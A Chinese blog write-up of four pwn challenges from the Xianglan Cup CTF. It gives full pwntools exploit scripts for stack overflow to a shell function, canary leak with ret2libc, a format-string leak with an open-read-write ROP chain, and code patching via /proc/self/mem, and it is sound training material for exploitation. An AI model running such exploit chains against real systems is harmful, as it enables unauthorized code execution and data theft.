前言
pwn萌新一枚,这次湘岚杯pwn题只出了两道,后面orw写了exp但是一直打不通,后来发现思路错了。宇宙射线这题很新颖,虽然比赛期间没有做出来,但是赛后复现时学到了很多东西,还是很开兴的。
题解过程
ret2text签到
解题思路:
这题是pwn题中的签到题,题目描述也很清晰,首先基本的file查看信息和checksec查看保护。然后栈溢出并利用题目给的shell函数即可提权
解题过程:
拖入ida后发现一个很明显的栈溢出,buf距离rbp的距离为Ah。
侧边发现完整可用的shell函数
可以溢出A+8个字节然后写入shell函数地址
完整exp:
from pwn import *
context(os='linux', arch='amd64',log_level='debug')r = remote('xlctf.huhstsec.top', 29519)`
shell =0x401157
payload = b'a' * 18 + p64(shell)
r.sendline(payload)
r.interactive()
ezlibc
解题思路:
这题难度适中,需要会熟练运用retlibc和了解canary保护机制与绕过。首先基本的了解文件信息,然后拖入ida中静态分析,第一步泄露canary,第二步重启main函数,第三步泄露libc然后就是正常打ret2libc
解题过程:
泄露canary:
payload = b'a'* 39 + b'b'
r.recvuntil('get the flag!')
r.sendline(payload)
r.recvuntil(b"b")
canary = u64(r.recv(8)) - 0xa
print("canary-->", hex(canary))
重启main函数:
payload1 = b'a' * 40 + p64(canary) + b'a' * 8 + p64(rdi_addr) + p64(puts_got)+ p64(puts_plt) + p64(elf.sym['main'])
r.sendlineafter("to the key", payload1)
泄露libc并打re2libc:
puts_real = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_real:"+hex(puts_real))
libc = LibcSearcher('puts', puts_real)
libc_base = puts_real - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = b'a' * 40 + p64(canary) + b'a' * 8 + p64(ret) + p64(rdi_addr)+p64(bin_sh) + p64(system_addr)
#sleep(1)
r.sendline(payload1)
r.interactive()
注:因为我用的是libcsearcher,所以与一般的ret2libc寻找函数地址的语法有一定区别,但思路是一样的
完整exp:
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64', log_level='debug')
#r = process('ezlibc')
r= remote('xlctf.huhstsec.top', 25529)
elf = ELF('./ezlibc')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_24 = 0x40089C
rdi_addr = 0x0400843
ret = 0x040059e
def dbg():
gdb.attach(r)
pause()
payload = b'a'* 39 + b'b'
r.recvuntil('get the flag!')
r.sendline(payload)
r.recvuntil(b"b")
canary = u64(r.recv(8)) - 0xa
print("canary-->", hex(canary))
payload1 = b'a' * 40 + p64(canary) + b'a' * 8 + p64(rdi_addr) + p64(puts_got)+ p64(puts_plt) + p64(elf.sym['main'])
r.sendlineafter("to the key", payload1)
puts_real = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_real:"+hex(puts_real))
libc = LibcSearcher('puts', puts_real)
libc_base = puts_real - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = b'a' * 40 + p64(canary) + b'a' * 8 + p64(ret) + p64(rdi_addr)+p64(bin_sh) + p64(system_addr)
#sleep(1)
r.sendline(payload1)
r.interactive()
你知道sandbox吗?
解题思路:
题目给了libc和ld文件,第一步当然是patchelf,接着就file和checkc。由于题目描述为sandbox当然还需要用seccmp-tools来查看一下沙箱,然后ida中静态分析,用格式化字符串漏洞泄露出canary和libc然后orw
如果不是很了解sandbox机制,可以看一下这位师傅blog
解题过程:
利用格式化字符串泄露canary和libc
观察main函数,可以看到有两次输入机会,并且printf函数直接打印出buf内容,存在格式化字符串漏洞。同时可以管擦到v5变量的距离rbp只有8字节位置,则可以判断v5内存着cancay则计算偏移可算出canary的偏移,方法很多,这里我提两种
方法1:观察v5距离rsp为0x38,由于为64位程序,则先用0x38/8=0x7,然后加上六个寄存器可以算出偏移为13.%13$p
用$p来打印出栈上的地址
方法2:利用pwndbg中的fmtarg + 栈上地址可以简便快速计算出偏移(力推用这个)
利用pwndbg的函数计算偏移
拿到了地址即可泄露canary和libc
payload1 = b'%13$p%39$p'
r.sendlineafter(b"Do you know orw?", payload1)
r.recvuntil('0x')
canary = int(r.recv(16),16)
print(b"canary-->", hex(canary))
r.recvuntil('0x')
libc_base = int(r.recv(12),16) - 0x29DC0 - 128
log.success(f"libc->{hex(libc_base)}")
利用libc打orw
通过泄露出来的libc基地址可以获得某些寄存器的真实地址,同时用题目所给libc可以找到一些可用的gadget来控制寄存器的值
。通过构造出read,open,write将bss段中的flag读出来
这里顺便提一下64位传参顺序:rdi, rsi, rdx, dcx, r8, r9
rdi = 0x04014c3
#rsi_r15 = 0x04014c1
rsi = libc_base + 0x16333a
ret = 0x040101a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret; #pop_rdx_rbx
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#read 将flag读入到bss段内
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#open
payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x100)
payload += p64(rdi) + p64(3)
payload += p64(rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#write
payload+=p64(rdi)+ p64(1) +p64(rsi)+p64(bss)
payload+=p64(pop_rdx)+p64(0x50)+p64(0)+p64(write_addr)
r.recvuntil("can you did it?")
r.send(payload)
sleep(0.2)
r.send(b'./flag\x00')
完整exp:
from pwn import *
context(os='linux', arch='amd64',log_level='debug')
#r=remote('xlctf.huhstsec.top', 24316)
r=process('./orw')
elf=ELF('./orw')
libc = ELF("./libc.so.6")
def dbg():
gdb.attach(r)
pause()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload1 = b'%13$p%39$p'
r.sendlineafter(b"Do you know orw?", payload1)
r.recvuntil('0x')
canary = int(r.recv(16),16)
print(b"canary-->", hex(canary))
r.recvuntil('0x')
libc_base = int(r.recv(12),16) - 0x29DC0 - 128
log.success(f"libc->{hex(libc_base)}")
bss = 0x404060
dbg()
rdi = 0x04014c3
#rsi_r15 = 0x04014c1
rsi = libc_base + 0x16333a
ret = 0x040101a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret;
#flag = bss + 0x100
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#read
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open_addr)
#read
payload += p64(rdi) + p64(3)
payload += p64(rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#puts(bss)
#payload += p64(rdi) + p64(bss)
#payload += p64(puts_plt)
#write
payload+=p64(rdi)+ p64(1) +p64(rsi)+p64(bss)
payload+=p64(pop_rdx)+p64(0x50)+p64(0)+p64(write_addr)
r.recvuntil("can you did it?")
r.send(payload)
sleep(0.2)
r.send(b'./flag\x00')
#dbg()
r.interactive()
宇宙射线
解题思路:
这道题根据题目提示的 /proc/self/proc,代码段可动等信息可以知道是需要将代码中某个地方改为可溢出,然后在打ret2libc。需要用到/proc/self/mem去修改代码,不了解的师傅们可以先去了解一下
解题过程:
寻找可修改代码部分
在ida中可以观察到存在一个exit的系统调用,接着观察汇编代码发现将3C传入rax中由于rax是用来存放系统调用号,3C正好对应exit的调用号,那么我们的思路就有了,将3C改为0即read的系统调用号即可进行正常溢出
修改代码
根据上一步的思路,可以直接写攻击脚本
r.sendlineafter(b"Enter the coordinates of the cosmic rays:",hex(0x40155f+3).encode())
r.sendlineafter(b"Enter the data sent:",b'0x0')
这里解释一下第一步的0x40155f+3这个地址怎么来的,一开始复现的时候看师傅们exp直接写了一个0x401562地址,百思不得其解。后来问了一下师傅,得到了解答
用ida中的options->general功能。将机器码的值改为不为零的数即可查看机器码(一般默认为0)
接着再来观察这段汇编,发现3Ch这个立即数存在第三个位置因此有了0x40155f+3(0x401262)
打ret2libc
修改完代码后可以正常正常溢出,观查汇编可以看到write写的内容直接跳到下面的函数,则v5就是溢出点,后续正常溢出即可
payload = b'a' * 26 + p64(pop_rbp) + p64(puts_got) +p64(mov_rdi_rbp) + p64(0) +p64(puts_plt) + p64(0x401309)
r.send(payload)
r.recvuntil(b'\n')
puts_real = u64(r.recv(6).ljust(8,b'\x00'))
#puts_real = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_real-->", hex(puts_real))
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'bin/sh'))
r.sendlineafter(b"Enter the coordinates of the cosmic rays:",hex(0x40155f+3).encode())
r.sendlineafter(b"Enter the data sent:",b'0x0')
payload = b'a' * 26 + p64(ret) + p64(pop_rbp) + p64(bin_sh) + p64(mov_rdi_rbp) + p64(0) + p64(system_addr)
r.sendline(payload)
#dbg()
r.interactive()
完整exp
from pwn import *
context(os='linux', arch='amd64',log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
r = remote('101.43.67.25', 8090)
#r = process('./pwn')
def dbg():
gdb.attach(r)
pause()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
mov_rdi_rbp = 0x40129E
pop_rbp = 0x4012A2
ret = 0x040101a
r.sendlineafter(b"Enter the coordinates of the cosmic rays:",hex(0x40155f+3).encode())
r.sendlineafter(b"Enter the data sent:",b'0x0')
payload = b'a' * 26 + p64(pop_rbp) + p64(puts_got) +p64(mov_rdi_rbp) + p64(0) +p64(puts_plt) + p64(0x401309)
r.send(payload)
r.recvuntil(b'\n')
puts_real = u64(r.recv(6).ljust(8,b'\x00'))
print("puts_real-->", hex(puts_real))
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'bin/sh'))
r.sendlineafter(b"Enter the coordinates of the cosmic rays:",hex(0x40155f+3).encode())
r.sendlineafter(b"Enter the data sent:",b'0x0')
payload = b'a' * 26 + p64(ret) + p64(pop_rbp) + p64(bin_sh) + p64(mov_rdi_rbp) + p64(0) + p64(system_addr)
r.sendline(payload)
#dbg()
r.interactive()
总结
虽然只出了两道pwn,但是从中也学习到了很多新的知识,orw进一步加深了对寄存器和gadget的运用,宇宙射线这道题了解到了linux的虚拟文件系统,总的来说,受益匪浅,继续在pwn之路上探索。。。。文章如果有什么错误的地方还请各位师傅指出!
标签:p64,puts,libc,base,复现,pwn,湘岚杯,payload,addr From: https://www.cnblogs.com/xiler/p/18685626